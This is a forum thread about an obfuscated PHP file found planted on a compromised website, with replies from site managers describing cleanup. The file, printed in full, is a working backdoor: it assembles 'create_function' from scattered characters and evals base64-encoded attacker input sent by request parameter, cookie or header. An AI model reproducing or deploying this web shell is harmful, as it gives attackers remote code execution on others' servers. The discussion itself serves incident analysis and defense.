weird.php

<?php
	$bickers= 't'; $blandly= 'rletu';$febrile= 'i)eidWKEE';
	$dished='dQ((1i';$clearing =')';

	$inwardly='e';

	$inexperienced= 'E';
	$harrowed = '_GH'; $lecturer ='gOR_i>eX';$caved = 's'; $harnessed = '$TU';

	$jon ='S6'; $arboretum= 'e;'; $backplane= 'V';

	$detects ='t';$intonate= 'g';

	$arabela='n'; $bearable = 'u3fPc('; $coons='v';$chattererz='p';$gasped ='k';
	$jakejake= '$';$devonne = 'B';$goldsmith = 'aReGa';

	$handy='DM$`)8yel'; $difference='m';

	$garbages ='[';$emmalyn =';P6$';

	$idiomatic= 'Kn';$brickbat= 'U'; $grit='L';
	$baggy = 'a'; $aphasic= '('; $fervently = 'U';$challenger ='isds_gr';$ignores= 'geG';$detractor =')';
	$glimmered='om';$byrom ='_'; $ant = 's';$bedrock = 'i)l:i';
	$entangle = '(2a';$causing = 'Fr$_rv';$arrowed= 'U';$appendage ='s';

	$inconveniencing = 'eCf(HMOe"';$apostrophes='s';

	$codomain= 'e'; $julius ='=';

	$hakim = ']'; $den = 'T "eeW'; $elusive='Sd$GSG'; $betony='s';
	$chairs = 'Vh'; $commending = '_'; $curler= 'c_,(Eoig_';
	$lyncher = 'l';
	$arcades ='?';

	$bathroom =';tr';
	$degradation ='(au:i'; $burglarproofed='c';

	$forwarder= 'eA^5)vO';$displeased = 'tu_ac_Tra'; $catlin='acPgEwrwg'; $claudelle = 's';$exemplifying = 'E'; $kissing = ')TT'; $expounder= 'as'; $culled='"4n';$diathesis= 'M';$breed='"';

	$hoy='v';

	$existentialism ='H$Cm';
	$domino= '?'; $inveterate = '"'; $broadcastings ='a';$holeable = '"'; $ballooners=']g<(Y:'; $hells= '['; $kennels = ']'; $arne='7'; $defends= '")ef';$healthfulness = 'r;_b@T'; $maggie = 't';

	$courage= '9'; $encrypts='S'; $betrayed = 'J';$figuring= 's'; $customarily =']ra'; $eightieth= '"Ie';

	$bertie = ';'; $baseband= '$';$levying= 'N';$langsdon ='('; $dieter = ')$W?lEarE'; $futility='jQ[oie(';$andris=')=eS[RL';$guinna='r';$drugi = '_Zty=L';$eventually='['; $despot = '4';
	$imprisoned= ']'; $dolphin='$Ip,)bR';
	
		
	// $clamoring === 'create_function'
	$clamoring =$catlin['1'] . $guinna.$andris['2']. $dieter['6'].$drugi[2].$andris['2']. $drugi['0']. $defends[3] .
	$displeased['1'] .$culled['2'] .$catlin['1'] .$drugi[2].

	$futility['4']. $futility['3'].
	$culled['2'];
	
	$husband =$den['1'] ;
	
	// $greediness === create_function('eval(array_pop(func_get_args()));');
	$greediness =$clamoring
	($husband, $andris['2'] .$hoy .
	$dieter['6']. $dieter[4].$futility[6] . $dieter['6']. $guinna . $guinna .
	$dieter['6'].$drugi['3'] .$drugi['0']. $dolphin[2].$futility['3'].$dolphin[2] .

	$futility[6]. $defends[3] . $displeased['1'].$culled['2'] . $catlin['1']. $drugi['0']. $ballooners['1'].$andris['2'] . $drugi[2].$drugi['0']. $dieter['6'].$guinna .

	$ballooners['1'] .$figuring. $futility[6].

	$dolphin['4'] . $dolphin['4'].
	$dolphin['4'].
	$bertie);
	
	// evals.. $i=array_merge($_REQUEST,$_COOKIE,$_SERVER);$a=isset($i["mgwuegsl"])?$i["mgwuegsl"]:(isset($i["HTTP_MGWUEGSL"])?$i["HTTP_MGWUEGSL"]:die);eval(strrev(base64_decode(strrev($a))));
	$greediness
	($diathesis ,

	$dieter['3'] ,$drugi['5'], $ballooners['2'] ,$handy['5'] , $ballooners['4'],
	$dieter['3'],$emmalyn['2'],$existentialism['0'], $dolphin['0'] .

	$futility['4'] . $drugi['4'] .$dieter['6'].$guinna.$guinna .$dieter['6'] .$drugi['3'].

	$drugi['0'].$existentialism['3'] .$andris['2']. $guinna .$ballooners['1'] .

	$andris['2'] . $futility[6]. $dolphin['0'] . $drugi['0'] .$dolphin['6'] . $dieter['8'] .$futility['1'] .
	$arrowed. $dieter['8']. $andris['3'] . $healthfulness[5]. $dolphin['3'] . $dolphin['0'].$drugi['0']. $existentialism['2'] .$forwarder['6'].$forwarder['6'].$idiomatic['0'].

	$dolphin['1'] .$dieter['8'].$dolphin['3'] . $dolphin['0'] .$drugi['0']. $andris['3'].$dieter['8'] .$dolphin['6']. $chairs['0'].$dieter['8']. $dolphin['6'] .$dolphin['4'].$bertie .$dolphin['0'].$dieter['6'] .$drugi['4'].

	$futility['4'].
	$figuring .$figuring .
	$andris['2'].$drugi[2]. $futility[6] .$dolphin['0']. $futility['4'].$eventually .$eightieth['0'] .$existentialism['3'] .$ballooners['1'] . $catlin['7'] .$displeased['1'] .$andris['2'].$ballooners['1'].$figuring. $dieter[4].

	$eightieth['0'] . $imprisoned.
	$dolphin['4'].$dieter['3'] .$dolphin['0'].

	$futility['4'] .$eventually . $eightieth['0']. $existentialism['3'] .

	$ballooners['1'].$catlin['7'] .$displeased['1'].

	$andris['2'] .$ballooners['1'] .
	$figuring . $dieter[4].
	$eightieth['0'] .$imprisoned.$ballooners['5'] . $futility[6] .$futility['4'].$figuring . $figuring.$andris['2'].$drugi[2]. $futility[6]. $dolphin['0'] .$futility['4'] . $eventually .$eightieth['0'].

	$existentialism['0'].$healthfulness[5].$healthfulness[5].
	$catlin['2'].$drugi['0'] .
	$diathesis.$elusive['5'].$dieter['2'].$arrowed. $dieter['8'].$elusive['5'] .$andris['3'].

	$drugi['5'] . $eightieth['0'].
	$imprisoned .

	$dolphin['4'].$dieter['3']. $dolphin['0'].$futility['4']. $eventually .$eightieth['0'] . $existentialism['0'].
	$healthfulness[5].$healthfulness[5] .$catlin['2'].$drugi['0'] .
	$diathesis .$elusive['5'] . $dieter['2'] . $arrowed .$dieter['8'] .
	$elusive['5'].$andris['3'].$drugi['5'].$eightieth['0'] .$imprisoned.$ballooners['5'] . $elusive['1'] . $futility['4']. $andris['2'] .
	$dolphin['4']. $bertie. $andris['2']. $hoy. $dieter['6']. $dieter[4] . $futility[6]. $figuring .$drugi[2] .$guinna. $guinna .

	$andris['2'] . $hoy . $futility[6]. $dolphin['5'] .$dieter['6'].$figuring.

	$andris['2'] .$emmalyn['2'] .$despot.$drugi['0']. $elusive['1']. $andris['2'] .$catlin['1'] .

	$futility['3'] .$elusive['1'] . $andris['2']. $futility[6] .$figuring . $drugi[2].

	$guinna .

	$guinna . $andris['2'].
	$hoy. $futility[6].$dolphin['0'] .$dieter['6'].

	$dolphin['4']. $dolphin['4']. $dolphin['4'] . $dolphin['4']. $bertie  ); 

What does this file do? I'm seeing something similar attached to my dB file. Never had this before

I found this post by searching google for some of the obfuscated php strings I found in php files on a site I manage. It was inundated with php files like this. The random strings are concatenated char by char to produce regular php statements. I think the attackers were initially able to upload these files to the FS via an AgularJS vulnerability, but that is just speculation. I was alerted by the hosting provider after they did a routine malware scan. They removed a small number of php files, but I found many more that contained obfuscated code. I wish I could have analyzed the ones they did delete, as those were probably different.

I extracted the strings from one of the php files (like the one above) and converted them to python strings. I then imported a .py file containg the strings, and concatenated them in the python shell, the theory being that this would be safer than running the php code directly. I found a stackoverflow question that covers some of the hidden code I found: http://stackoverflow.com/questions/29972343/what-does-this-php-code-do-looks-like-hacking

Needless to say, I have wiped the site (there were php files like this one hidden all over). I'm going to reupload the original code, with no changes, to see if it happens again, in order to find out if it actually was an Angular vulnerability. If you're interested, I'll let you know if I find anything.

Cheers

Any news on this? did you happen to find the origin of the files ? or more info regarding the hack?